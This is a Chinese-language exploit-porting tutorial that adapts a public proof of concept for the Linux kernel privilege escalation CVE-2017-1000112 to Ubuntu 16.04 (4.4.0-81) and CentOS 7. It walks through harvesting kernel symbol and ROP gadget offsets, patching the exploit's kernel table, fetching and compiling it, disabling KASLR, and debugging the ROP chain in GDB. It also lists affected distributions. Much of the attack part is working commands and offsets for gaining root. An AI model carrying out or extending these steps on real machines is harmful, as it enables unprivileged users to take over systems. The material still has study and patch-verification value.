如何将漏洞CVE-2017-1000112应用到其他内核上

 

写在前面的话

在这篇文章中,我们将跟大家介绍如何将Andrey针对CVE-2017-1000112的PoC应用到其他内核上。为了给大家演示,本文将使用Ubuntu的Xenial(16.04)内核版本4.4.0-81-generic来进行测试。

PoC代码下载:【点我下载

 

漏洞时间轴

2017年08月03日:将漏洞报告给厂商;

2017年08月04日:将漏洞报告给linux-distros@;

2017年08月10日:漏洞补丁提交给netdev;

2017年08月10日:oss-security@发布官方声明;

 

描述

这个PoC利用的是Linux内核UFO到非UFO路径转换时的内存崩溃问题,在构建一个UFO数据包时,内核会使用MSG_MORE __ip_append_data()函数来调用ip_ufo_append_data()并完成路径的添加。但是在这两个send()调用的过程中,添加的路径可以从UFO路径转换为非UFO路径,而这将导致内存崩溃的发生。为了防止UFO数据包长度超过MTU,非UFO路径的copy = maxfraglen – skb->len将会变成false,并分配新的skb。这将会出发程序计算fraggap = skb_prev->len – maxfraglen的值,并将copy = datalen – transhdrlen – fraggap设置为false。需要注意的是,类似的问题IPv6的代码中同样存在。

 

漏洞修复

关于漏洞的修复情况,请参考【这篇文章】。

 

漏洞情况概述

UFO(UDP Fragmentation Offload)是将较大的UDP数据包进行分片。由于UDP 数据包不会自己进行分段,因此当长度超过了 MTU 时,会在网络层进行 IP 分片。 这将减少较大的UDP数据包分片到MTU大小的数据包中的堆栈开销。

Linux 内核存在内存崩溃漏洞,从UFO到非UFO在路径切换过程中,构建UFO数据包时使用了MSG_MORE __ip_append_data()调用ip_ufo_append_data()。在两个send()调用之间,路径从UFO切换到非UFO过程中,会导致内存崩溃。Linux 内核 UFO到非UFO 路径切换内存崩溃漏洞会造成普通用户提权到root用户。

给Ubuntu 16.04(内核Kernel 4.4.0-81-generic)添加偏移量

PoC的框架允许我们给commit_creds、prepare_kernel_cred以及不同内涵的ROP链添加地址偏移量。在对kernel_info的结构进行了分析之后,我们还可以使用目标内核地址来更新这部分数据。

 

寻找内核函数

接下来,我们需要确定commit_creds、prepare_kernel_cred以及针对CR4读写函数的地址偏移量。

 

基于Ubuntu 16.04.2创建目标虚拟机

在本文的演示过程中,我将使用VMWare。

镜像下载地址:【点我下载

在开始测试之前,我们需要更新vmx配置文件来开启内核的调试stub:

debugStub.listen.guest64 = "TRUE"

debugStub.listen.guest64.remote = "TRUE"

 

安装4.4.0-81-generic内核

sudo apt install linux-image-4.4.0-81-generic

内核安装完成之后,需要重启设备,然后寻找下列内核函数的地址:commit_creds、prepare_kernel_cred、native_read_cr4_safe和native_write_cr4。操作命令如下:

sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms

 

寻找ROPgadget

在这个演示部分中,我将使用不同的虚拟机来调试上面所提到的目标设备。当新的虚拟机创建完成之后,我们可以使用extract-vmlinux【下载地址】来提取出未压缩的Linux内核版本,或者使用调试符来号下载内核。

你可以通过下列命令来使用调试符号获取内核:

echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" |
sudo tee -a /etc/apt/sources.list.d/ddebs.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622
apt install linux-image-4.4.0-81-generic-dbgsym

内核将会被安装在目录/usr/lib/debug/boot/vmlinux-4.4.0-81-generic之中。

 

在目标内核中安装并运行ROPgadget

我准备使用ropgadget【下载地址】来寻找出目标内核中的Gadget。操作命令如下所示:

apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic

既然我们已经获取到了可能的gadget,我们则需要寻找出能够匹配PoC中ROP链的地址:

struct kernel_info {
    const char distro;
    const char version;
    uint64_t commit_creds;
    sudo grep commit_creds /proc/kallsyms
    0xffffffff810a2800 T commit_creds
    uint64_t prepare_kernel_cred;
            sudo grep prepare_kernel_cred /proc/kallsyms
    0xffffffff810a2bf0 T prepare_kernel_cred

    uint64_t xchg_eax_esp_ret;
            grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic 
    0xffffffff8100008a : xchg eax, esp ; ret

    uint64_t pop_rdi_ret;
            grep ': pop rdi ; ret' rg-4.4.0-81-generic 
    0xffffffff813eb4ad : pop rdi ; ret

    uint64_t mov_dword_ptr_rdi_eax_ret;
            grep ': mov dword ptr [rdi], eax ; ret' rg-4.4.0-81-generic 
    0xffffffff81112697 : mov dword ptr [rdi], eax ; ret

    uint64_t mov_rax_cr4_ret;
            sudo grep cr4 /proc/kallsyms
    0xffffffff8101b9c0 t native_read_cr4_safe

    uint64_t neg_rax_ret;
            grep ': neg rax ; ret' rg-4.4.0-81-generic 
    0xffffffff8140341a : neg rax ; ret

    uint64_t pop_rcx_ret;
            grep ': pop rcx ; ret' rg-4.4.0-81-generic 
    0xffffffff8101de6c : pop rcx ; ret

    uint64_t or_rax_rcx_ret;
            grep ': or rax, rcx ; ret' rg-4.4.0-81-generic 
    0xffffffff8107a453 : or rax, rcx ; ret                  

    uint64_t xchg_eax_edi_ret;
            grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic 
    0xffffffff81125787 : xchg eax, edi ; ret

    uint64_t mov_cr4_rdi_ret;
            sudo grep cr4 /proc/kallsyms
    0xffffffff81064580 t native_write_cr4

    uint64_t jmp_rcx;
            grep ': jmp rcx' rg-4.4.0-81-generic 
    0xffffffff81049ed0`

 

KASLR

内核4.4.0-81并没有启用KASLR,但为了对现有文件进行确认,我们需要使用偏移量。

我们可以使用下列命令找出内核的基地址:

sudo grep text /proc/kallsyms
ffffffff81000000 T _text

比如说,下面的方法可以确认commit_creds的偏移量:

0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800

请注意:如果你使用的内核不支持KASLR,请使用下列命令【参考文章】:

$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub

 

更新原始的PoC文件

我们需要使用新得到的地址来更新PoC,然后添加对Ubuntu 16.04的4.4.0内核(xenial)的支持。

{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
  unsigned long get_kernel_addr() {
    char* syslog;
    int size;
    mmap_syslog(&syslog, &size);
    if (strcmp("trusty", kernels[kernel].distro) == 0 &&
        strncmp("4.4.0", kernels[kernel].version, 5) == 0)
            return get_kernel_addr_trusty(syslog, size);
    if (strcmp("xenial", kernels[kernel].distro) == 0 &&
        (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
        (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
            return get_kernel_addr_xenial(syslog, size);

    printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
    exit(EXIT_FAILURE);
}

 

修复补丁

4.4.0-81.patch
`—- poc.c 2017-12-21 11:49:17.758164986 -0600
+++ updated.c 2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
{ “trusty”, “4.4.0-79-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ “trusty”, “4.4.0-81-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ “trusty”, “4.4.0-83-generic”, 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },

{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ “xenial”, “4.8.0-34-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-36-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-39-generic”, 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
    return get_kernel_addr_trusty(syslog, size);
if (strcmp(“xenial”, kernels[kernel].distro) == 0 &&

strncmp(“4.8.0”, kernels[kernel].version, 5) == 0)
(strncmp(“4.4.0”, kernels[kernel].version, 5) == 0) ||
(strncmp(“4.8.0”, kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);

printf(“[-] KASLR bypass only tested on trusty 4.4.0- and xenial 4-8-0-“);`

 

部署修复补丁

wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
patch < 4.4.0.81.patch
gcc poc.c -o updatedpoc

 

内核调试

在目标设备中,我们已经使用调试符号成功下载了测试内核,接下来为了保证完整性,我们还需要下载内核源码:

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb
dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb

源代码将会以压缩文件的形式安装在目录/usr/src/linux-source-4.4.0-81中:

/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2

提取出源文件之后,它将会存储在目录/usr/src/linux-source-4.4.0/linux-source-4.4.0之中:

tar xvjf linux-source-4.4.0.tar.bz2

 

GDB

sudo apt install gdb

安装pwndbg:【下载地址

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

开启GDB,配置源地址,然后连接到目标设备:

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic
set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/
target remote 192.168.81.1:8864

断点使用:

break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all

第一个断点设在ip_append_data上,我们可以从中了解到内存崩溃的具体情况:


第二个断点设在
ip_append_data:


开启__ip_flush_pending_frames的断点:


开启skb_release_all上的断点:


在break at skb_release_all,我们可以看到内存崩溃的发生情况,这里在用户模式的ROP链调用了skb_shared_info->destructor_arg。在上述代码中,我们也可以看到skb的地址0xffff880039161400(针对skb_release_all的调用):


在skb_release_data中,针对ROP链起始位置的间接引用开始于地址0xffffffff81720a12,ROP链开始于地址0xffffffff81720a1f。


最终我们得到了内存中的ROP链:

 

Linux发行版

要求

在满足下列情况的条件下,任何非特权用户都可以利用该漏洞来实施攻击:

用户可以设置一个接口,开启UFO并设置MTU < 65535。

用户可以禁用NETIF_F_UFO接口功能,或设置SO_NO_CHECK套接字选项。前者要求CAP_NET_ADMIN,后者只适用于2016年1月11日之后的版本(”udp: 禁用UFO )的SO_NO_CHECK选项”)。

理论上来说,如果非特权用户域名空间可使用的话,任何非特权用户都可以利用该漏洞来实施攻击。

检查udp-framentation-offload的状态

回环:

ethtool -k lo |grep udp
udp-fragmentation-offload: on
ens33:
ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]

Ubuntu

默认配置下,Ubuntu支持用户域名空间:

https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html

数据包

Source: linux (LP Ubuntu Debian)
Upstream: 已发布(4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): 忽略(不支持用户域名空间)
Ubuntu 14.04 LTS (Trusty Tahr): 已发布(3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): 已发布(4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): 已发布(4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark): 不受影响 (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): 不受影响 (4.13.0-16.19)
RHEL/CentOS

Centos的内核同样存在漏洞,但是默认配置下该漏洞并不允许攻击者在用户空间下进行非法操作【漏洞详情】。

CentOS 7-https://access.redhat.com/errata/RHSA-2017:2930

kernel-3.10.0-693.5.2.el7.x86_64.rpm

CentOS 6-https://access.redhat.com/errata/RHSA-2017:3200

kernel-2.6.32-696.16.1.el6.x86_64.rpm

我已经在CentOS 7(kernel 3.10.0-693.el7.x86_64)上测试成功了,但是我们需要手动调低回环适配器的MTU:

/sbin/ifconfig lo mtu 1500

偏移量:

{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }

 

参考资料

https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/

http://seclists.org/oss-sec/2017/q3/277

https://nvd.nist.gov/vuln/detail/CVE-2017-1000112

https://www.securityfocus.com/bid/100262/info

https://packetstormsecurity.com/files/cve/CVE-2017-1000112

(完)